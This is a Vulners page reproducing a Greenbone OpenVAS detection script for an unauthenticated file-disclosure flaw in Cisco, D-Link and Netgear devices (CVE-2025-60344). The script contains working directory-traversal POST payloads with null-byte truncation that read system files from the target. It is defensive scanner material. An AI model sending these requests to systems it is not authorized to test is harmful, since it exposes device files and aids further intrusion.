Lucene search
+L

Multiple Devices '/scgi-bin/platform.cgi' Unauthenticated File Disclosure Vulnerability (Jan 2016) - Active Check

🗓️ 07 Jan 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 438 Views

Multiple Devices '/scgi-bin/platform.cgi' Unauthenticated File Disclosure - Active Chec

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-60344
21 Oct 202500:00
attackerkb
bdu_fstec
BDU FSTEC
The vulnerability of the Setting Handler component in D-Link’s router microprogramming software for models DSR-150, DSR-150N, and DSR-250 allows a hacker to gain full access to these devices.
25 Nov 202500:00
bdu_fstec
circl
Circl
CVE-2025-60344
21 Oct 202515:46
circl
cnnvd
CNNVD
D-Link DSR-150 安全漏洞
21 Oct 202500:00
cnnvd
cve
CVE
CVE-2025-60344
21 Oct 202500:00
cve
cvelist
Cvelist
CVE-2025-60344
21 Oct 202500:00
cvelist
euvd
EUVD
EUVD-2025-35178
21 Oct 202500:00
euvd
nvd
NVD
CVE-2025-60344
21 Oct 202515:15
nvd
redhatcve
RedhatCVE
CVE-2025-60344
22 Oct 202500:11
redhatcve
vulnrichment
Vulnrichment
CVE-2025-60344
21 Oct 202500:00
vulnrichment
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105500");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2016-01-07 15:24:11 +0100 (Thu, 07 Jan 2016)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2025-60344");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Multiple Devices '/scgi-bin/platform.cgi' Unauthenticated File Disclosure Vulnerability (Jan 2016) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("Embedded_HTTP_Server/banner", "Host/runs_unixoide");

  script_tag(name:"summary", value:"The remote device is prone to an arbitrary file disclosure
  vulnerability because it fails to adequately validate user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.

  Note: This VT sends different requests depending on the identified banner for identifying this
  vulnerability.");

  script_tag(name:"insight", value:"The D-Link DSR series routers flaw has been re-discovered in
  2025 and got CVE-2025-60344 assigned.");

  script_tag(name:"impact", value:"An attacker could exploit this vulnerability to read arbitrary
  files on the device. This may aid in further attacks.");

  script_tag(name:"affected", value:"Devices from Cisco, D-Link and Netgear are known to be
  affected. Other vendors might be affected as well.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39184/");
  script_xref(name:"URL", value:"https://github.com/fyoozr/vulnerability-research/tree/main/CVE-2025-60344");


  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:443 );

banner = http_get_remote_headers( port:port );
if( ! banner || "Server: Embedded HTTP Server" >!< banner )
  exit( 0 );

useragent = http_get_user_agent();
host = http_host_name( port:port );

url = "/scgi-bin/platform.cgi";
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( !buf || buf !~ "^HTTP/1\.[01] 200" )
  exit( 0 );

if( "netgear" >< tolower( buf ) )
  typ = "netgear";
else if( "d-link" >< tolower( buf ) || "dlink" >< tolower( buf ) )
  typ = "dlink";
else
  typ = "cisco";

vtstrings = get_vt_strings();
vtstring = vtstrings["default"];
vtstring_lower = vtstrings["lowercase"];

files = traversal_files( "linux" );

foreach pattern( keys( files ) ) {

  file = files[pattern];

  if( typ == "cisco" )
    data = "button.login.home=Se%20connecter&Login.userAgent=" + vtstring_lower +
           "&reload=0&SSLVPNUser.Password=" + vtstring_lower + "&SSLVPNUser.UserName=" + vtstring_lower +
           "&thispage=../../../../../../../../../../" + file + "%00.htm";
  else if( typ == "dlink" )
    data = "thispage=../../../../../../../../../../" + file + "%00.htm&Users.UserName=admin&Users.Password=" +
           vtstring_lower + "&button.login.Users.deviceStatus=Login&Login.userAgent=" + vtstring;
  else if( typ == "netgear" )
    data = "thispage=../../../../../../../../../../" + file +
           "%00.htm&USERDBUsers.UserName=admin&USERDBUsers.Password=" + vtstring_lower +
           "&USERDBDomains.Domainname=geardomain&button.login.USERDBUsers.router_status=Login&Login.userAgent=" +
           vtstring;

  len = strlen( data );

  req = 'POST /scgi-bin/platform.cgi HTTP/1.1\r\n' +
        'Host: ' + host + '\r\n' +
        'User-Agent: ' + useragent + '\r\n' +
        'Accept: */*\r\n' +
        'Content-Length: ' + len + '\r\n' +
        'Content-Type: application/x-www-form-urlencoded\r\n' +
        '\r\n' +
        data;
  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( buf =~ "^HTTP/1\.[01] 200" && egrep( string:buf, pattern:pattern ) ) {
    report = 'By sending a special crafted POST request to "/scgi-bin/platform.cgi" it was possible to read the file "/' + file + '".\nThe following response was received:\n\n' + buf;
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.6
EPSS0.10268
SSVC
438